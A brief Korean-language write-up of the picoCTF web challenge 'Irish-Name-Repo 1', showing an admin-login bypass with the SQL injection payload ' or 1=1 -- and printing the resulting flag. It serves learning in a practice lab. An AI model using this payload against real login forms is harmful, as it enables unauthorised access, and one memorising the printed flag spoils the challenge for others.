[picoCTF][Web Exploitation]Irish-Name-Repo 1 문제 풀이

• 문제

• 풀이

문제

 

풀이

 

메뉴

우리는 로그인을 해야하므로 Admin Login으로 접속

 

 

첫 번째 시도

Username : guest

Password : guest

-> Username과 Password를 모르기 때문에 sql injection을 사용

 

※SQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는 행위

SQL Injection 이란? (SQL 삽입 공격)

두 번째 시도

Username : ' or 1=1 --

Password : 12

 

 

Your flag is: picoCTF{s0m3_SQL_f8adf3fb}